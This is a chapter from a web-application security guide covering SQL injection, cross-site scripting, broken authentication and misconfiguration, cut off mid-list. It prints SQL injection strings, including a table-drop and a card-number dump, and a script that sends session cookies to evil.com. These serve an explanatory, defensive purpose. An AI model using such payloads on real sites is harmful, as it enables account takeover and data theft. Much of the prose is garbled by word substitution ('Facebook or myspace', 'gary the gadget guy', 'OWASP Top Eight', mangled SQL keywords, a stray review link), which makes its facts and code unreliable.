Threat Landscape and Common Vulnerabilities

# Chapter four: Threat Landscape in addition to Common Vulnerabilities
Each application operates throughout an environment full involving threats – malevolent actors constantly searching for weaknesses to exploit. Understanding the risk landscape is essential for defense. Within this chapter, we'll survey the nearly all common types of app vulnerabilities and episodes seen in the wild today. You will discuss how these people work, provide real-life instances of their exploitation, and introduce very best practices to avoid them. This will put the groundwork at a later time chapters, which will delve deeper straight into how to construct security directly into the development lifecycle and specific defense.

Over the decades, certain categories of vulnerabilities have appeared as perennial troubles, regularly appearing throughout security assessments and breach reports. Industry resources such as the OWASP Top 10 (for web applications) and even CWE Top twenty five (common weaknesses enumeration) list these common suspects. Let's discover some of the major ones:

## Injection Attacks (SQL, Command Injection, etc. )
- **Description**: Injection flaws occur when an application takes untrusted insight (often from a great user) and nourishes it into an interpreter or order in a manner that alters typically the intended execution. Typically the classic example is usually SQL Injection (SQLi) – where consumer input is concatenated into an SQL query without right sanitization, allowing you inject their own SQL commands. Similarly, Command Injection involves injecting OS commands, LDAP Injection into LDAP queries, NoSQL Shot in NoSQL databases, and so in. Essentially, the application form does not work out to distinguish data from code instructions.

- **How that works**: Consider some sort of simple login type that takes an username and password. If the server-side code naively constructs a query like: `SELECT * THROUGH users WHERE login = 'alice' PLUS password = 'mypassword'; `, an attacker can input something like `username: alice' OR '1'='1` in addition to `password: anything`. The cake you produced SQL would end up being: `SELECT * FROM users WHERE login name = 'alice' OR EVEN '1'='1' AND password = 'anything'; `. The `'1'='1'` situation always true can make the query return all consumers, effectively bypassing the particular password check. This kind of is a basic sort of SQL shot to force a login.
More maliciously, an attacker could terminate the query and add `; DROP TABLE users; --` to delete the particular users table (a destructive attack on integrity) or `; SELECT credit_card BY users; --` to be able to dump sensitive data (a confidentiality breach).
- **Real-world impact**: SQL injection provides been behind a number of the largest data removes on record. Many of us mentioned the Heartland Payment Systems breach – in 2008, attackers exploited an SQL injection in a web application to be able to ultimately penetrate inner systems and steal millions of credit card numbers​
TWINGATE. COM
. Another circumstance: the TalkTalk 2015 breach in the UK, wherever a teenager applied SQL injection to gain access to the personal info of over one hundred and fifty, 000 customers. The particular subsequent investigation revealed TalkTalk had left an obsolete website with a known SQLi flaw on-line, and hadn't patched a database vulnerability from 2012​
ICO. ORG. UK
​
ICO. ORG. BRITISH
. TalkTalk's CEO described it as a new basic cyberattack; without a doubt, SQLi was well-understood for a 10 years, yet the company's failure to sterilize inputs and up-date software led to a new serious incident – they were fined and suffered reputational loss.
These good examples show injection problems can compromise privacy (steal data), sincerity (modify or delete data), and availability (if data is wiped, service will be disrupted). Even today, injection remains a common attack vector. In fact, OWASP's 2021 Top Eight still lists Injections (including SQL, NoSQL, command injection, etc. ) as being a top rated risk (category A03: 2021)​
IMPERVA. POSSUINDO
.
- **Defense**: The primary defense against injection is type validation and outcome escaping – make sure that any untrusted information is treated simply because pure data, by no means as code. Making use of prepared statements (parameterized queries) with destined variables is some sort of gold standard regarding SQL: it separates the SQL signal from your data principles, so even in the event that an user goes in a weird string, it won't split the query construction. For example, by using a parameterized query throughout Java with JDBC, the previous logon query would get `SELECT * FROM users WHERE user name =? AND pass word =? `, in  https://www.g2.com/products/qwiet-ai/reviews  to the `? ` placeholders are certain to user inputs safely (so `' OR '1'='1` would become treated literally since an username, which won't match any kind of real username, quite than part of SQL logic). Identical approaches exist for other interpreters.
Upon top of that, whitelisting input approval can restrict just what characters or file format is allowed (e. g., an login may be restricted to be able to alphanumeric), stopping several injection payloads in the front door​
IMPERVA. COM
. Also, encoding output effectively (e. g. HTML CODE encoding to avoid script injection) is definitely key, which we'll cover under XSS.
Developers should never directly include raw input in instructions. Secure frameworks plus ORM (Object-Relational Mapping) tools help by simply handling the query building for a person. Finally, least privilege helps mitigate effect: the database account used by the particular app should have got only necessary rights – e. grams. it should not include DROP TABLE rights if not needed, to prevent a great injection from carrying out irreparable harm.

## Cross-Site Scripting (XSS)
- **Description**: Cross-Site Scripting refers to a new class of weaknesses where an program includes malicious canevas in the context of a trusted site. Unlike injection in to a server, XSS is about treating into the content of which others see, typically in a web web site, causing victim users' browsers to implement attacker-supplied script. Right now there are a several types of XSS: Stored XSS (the malicious script is definitely stored on typically the server, e. h. inside a database, plus served to various other users), Reflected XSS (the script will be reflected from the server immediately in a response, often via a lookup query or error message), and DOM-based XSS (the vulnerability is in client-side JavaScript that insecurely manipulates the DOM).

- **How that works**: Imagine a message board where consumers can post remarks. If the app is not going to sanitize HTML tags in remarks, an attacker can post an opinion like: ` var i=new Image(); i. src="http://evil.com/steal?cookie="+document.cookie; `. Any customer who views that will comment will inadvertently run the software in their internet browser. The script above would send the particular user's session biscuit to the attacker's server (stealing their own session, hence allowing the attacker in order to impersonate them upon the site – a confidentiality and even integrity breach).
In a reflected XSS situation, maybe the web site shows your suggestions by using an error webpage: should you pass a script in typically the URL as well as the web site echoes it, it will execute within the browser of anyone who clicked that malicious link.
Essentially, XSS turns the victim's browser into the unwitting accomplice.
- **Real-world impact**: XSS can be very serious, especially upon highly trusted websites (like social support systems, webmail, banking portals). Some sort of famous early instance was the Samy worm on Facebook or myspace in 2005. A user named Samy discovered a stored XSS vulnerability in Web sites profiles. He designed a worm: some sort of script that, if any user looked at his profile, that would add him or her as a buddy and copy typically the script to the particular viewer's own account. Doing this, anyone more viewing their profile got infected also. Within just 20 hours of discharge, over one million users' profiles got run the worm's payload, making Samy one of many fastest-spreading malware of all time​
EN. WIKIPEDIA. ORG
. The worm itself merely displayed the key phrase "but most of all, Samy is usually my hero" in profiles, a fairly harmless prank​
DURANTE. WIKIPEDIA. ORG
. On the other hand, it absolutely was a wake-up call: if a good XSS worm could add friends, this could just as quickly create stolen private messages, spread spam, or done various other malicious actions on behalf of customers. Samy faced legal consequences for this particular stunt​
EN. WIKIPEDIA. ORG
.
In another scenario, XSS could be used in order to hijack accounts: with regard to instance, a resembled XSS inside a bank's site might be exploited via a phishing email that techniques an user straight into clicking an WEB LINK, which then completes a script to transfer funds or even steal session bridal party.
XSS vulnerabilities have been present in sites like Twitter, Facebook (early days), and even countless others – bug bounty applications commonly receive XSS reports. Although many XSS bugs are associated with moderate severity (defaced UI, etc. ), some can be important if they let administrative account takeover or deliver adware and spyware to users.
instructions **Defense**: The essence of XSS protection is output development. Any user-supplied content that is viewed in the page should be properly escaped/encoded so that that should not be interpreted while active script. With regard to example, in the event that an end user writes ` bad() ` in a remark, the server need to store it and then output it as `< script> bad()< /script> ` thus that it comes up as harmless text message, not as an actual script. Modern web frameworks often provide template machines that automatically break free variables, which prevents most reflected or stored XSS simply by default.
Another important defense is Written content Security Policy (CSP) – a header that instructs web browsers to only execute intrigue from certain options. A well-configured CSP can mitigate the particular impact of XSS by blocking inline scripts or external scripts that aren't explicitly allowed, even though CSP could be intricate to set finished without affecting web page functionality.
For programmers, it's also essential to avoid practices love dynamically constructing CODE with raw info or using `eval()` on user input in JavaScript. Net applications can likewise sanitize input in order to strip out disallowed tags or features (though this is difficult to get perfect). In summary: validate and sanitize any kind of HTML or JavaScript inputs, use context-appropriate escaping (HTML break free for HTML information, JavaScript escape for data injected directly into scripts, etc. ), and consider permitting browser-side defenses like CSP.

## Damaged Authentication and Session Management
- **Description**: These vulnerabilities involve weaknesses in just how users authenticate to the application or perhaps maintain their verified session. "Broken authentication" can mean a number of issues: allowing weak passwords, not protecting against brute force, faltering to implement proper multi-factor authentication, or even exposing session IDs. "Session management" will be closely related – once an end user is logged inside, the app typically uses a period cookie or expression to consider them; in the event that that mechanism is flawed (e. gary the gadget guy. predictable session IDs, not expiring sessions, not securing typically the cookie), attackers may well hijack other users' sessions.

- **How it works**: One common example is websites that made overly simple pass word requirements or experienced no protection against trying many passwords. Attackers exploit this by using abilities stuffing (trying username/password pairs leaked from all other sites) or brute force (trying many combinations). If there are not any lockouts or rate limits, an attacker can methodically guess credentials.
Another example: if a good application's session biscuit (the item of data that identifies the logged-in session) will be not marked using the Secure flag (so it's sent more than HTTP as properly as HTTPS) or perhaps not marked HttpOnly (so it can easily be accessible in order to scripts), it would be thieved via network sniffing or XSS. As soon as an attacker has a valid period token (say, lost from an unsafe Wi-Fi or by means of an XSS attack), they will impersonate that user without needing credentials.
There possess also been common sense flaws where, with regard to instance, the pass word reset functionality is certainly weak – might be it's susceptible to the attack where an attacker can reset someone else's pass word by modifying details (this crosses straight into insecure direct thing references / gain access to control too).
Overall, broken authentication addresses anything that permits an attacker to be able to either gain recommendations illicitly or circumvent the login applying some flaw.
- **Real-world impact**: We've all seen news of massive "credential dumps" – billions of username/password pairs floating around from past breaches. Opponents take these and even try them about other services (because many people reuse passwords). This automated abilities stuffing has guided to compromises associated with high-profile accounts on the subject of various platforms.
One of broken auth was your case in this year where LinkedIn experienced a breach and even 6. 5 million password hashes (unsalted SHA-1) were leaked​
NEWS. SOPHOS. CONTENDO
​
NEWS. SOPHOS. APRESENTANDO
. The weakened hashing meant opponents cracked most involving those passwords within hours​
NEWS. SOPHOS. COM
​
MEDIA. SOPHOS. POSSUINDO
. Even worse, a few yrs later it converted out the infringement was actually a lot larger (over a hundred million accounts). Individuals often reuse passwords, so that break the rules of had ripple results across other web sites. LinkedIn's failing has been in cryptography (they didn't salt or even use a sturdy hash), which will be section of protecting authentication data.
Another standard incident type: treatment hijacking. For instance, before most websites adopted HTTPS everywhere, attackers about the same community (like an open Wi-Fi) could sniff biscuits and impersonate customers – a risk popularized from the Firesheep tool this year, which in turn let anyone eavesdrop on unencrypted periods for sites want Facebook. This obligated web services in order to encrypt entire lessons, not just sign in pages.
There have also been cases of flawed multi-factor authentication implementations or login bypasses due to common sense errors (e. gary the gadget guy., an API that will returns different text messages for valid vs invalid usernames could allow an opponent to enumerate users, or possibly a poorly executed "remember me" token that's easy in order to forge). The effects involving broken authentication are usually severe: unauthorized entry to user company accounts, data breaches, personality theft, or illegal transactions.
- **Defense**: Protecting authentication takes a multi-pronged approach:
instructions Enforce strong pass word policies but within just reason. Current NIST guidelines recommend allowing users to pick long passwords (up to 64 chars) rather than requiring frequent changes unless there's indication of compromise​
JUMPCLOUD. COM
​
AUDITBOARD. COM
. Instead, check passwords against known breached security password lists (to refuse "P@ssw0rd" and typically the like). Also inspire passphrases that are easier to remember but hard to estimate.
- Implement multi-factor authentication (MFA). The password alone is definitely often not enough these types of days; providing an option (or requirement) for a second factor, such as an one-time code or a push notification, tremendously reduces the risk of account bargain even if account details leak. Many major breaches could have got been mitigated by simply MFA.
- Secure the session bridal party. Use the Safe flag on pastries so they will be only sent above HTTPS, HttpOnly so they aren't accessible via JavaScript (mitigating some XSS impact), and consider SameSite to prevent them from being directed in CSRF problems (more on CSRF later). Make period IDs long, randomly, and unpredictable (to prevent guessing).
- Avoid exposing program IDs in Web addresses, because they can be logged or leaked out via referer headers. Always prefer pastries or authorization headers.
- Implement account lockout or throttling for login endeavors. After say 5-10 failed attempts, possibly lock the be the cause of a period or perhaps increasingly delay reactions. Utilize CAPTCHAs or even other mechanisms in case automated attempts will be detected. However, end up being mindful of denial-of-service – some web sites opt for much softer throttling to stay away from letting attackers locking mechanism out users by simply trying bad security passwords repeatedly.
- Session timeout and logout: Expire sessions after having a reasonable period associated with inactivity, and definitely invalidate session as well on logout. It's surprising how some apps in typically the past didn't effectively invalidate server-side period records on logout, allowing tokens being re-used.
- Look closely at forgot password runs. Use secure tokens or links by way of email, don't uncover whether an user exists or not really (to prevent consumer enumeration), and guarantee those tokens expire quickly.
Modern frameworks often handle the lot of this kind of for you, but misconfigurations are routine (e. grams., a developer might accidentally disable a new security feature). Normal audits and assessments (like using OWASP ZAP or other tools) can capture issues like absent secure flags or weak password guidelines.
Lastly, monitor authentication events. Unusual patterns (like an individual IP trying thousands of usernames, or one account experiencing countless hit a brick wall logins) should lift alarms. This overlaps with intrusion diagnosis.
To emphasize, OWASP's 2021 list cell phone calls this category Recognition and Authentication Problems (formerly "Broken Authentication") and highlights typically the importance of things such as MFA, not using default credentials, and implementing proper username and password handling​
IMPERVA. POSSUINDO
. They note that will 90% of software tested had troubles in this area in several form, which is quite worrying.

## Security Misconfiguration
- **Description**: Misconfiguration isn't an individual weeknesses per se, although a broad course of mistakes throughout configuring the software or its atmosphere that lead to insecurity. This may involve using default credentials or options, leaving unnecessary functions enabled, misconfiguring safety headers, delete word hardening the server. Fundamentally, the software could possibly be secure in concept, nevertheless the way it's deployed or configured opens a gap.

- **How this works**: Examples involving misconfiguration:
- Making default admin accounts/passwords active. Many computer software packages or gadgets historically shipped using well-known defaults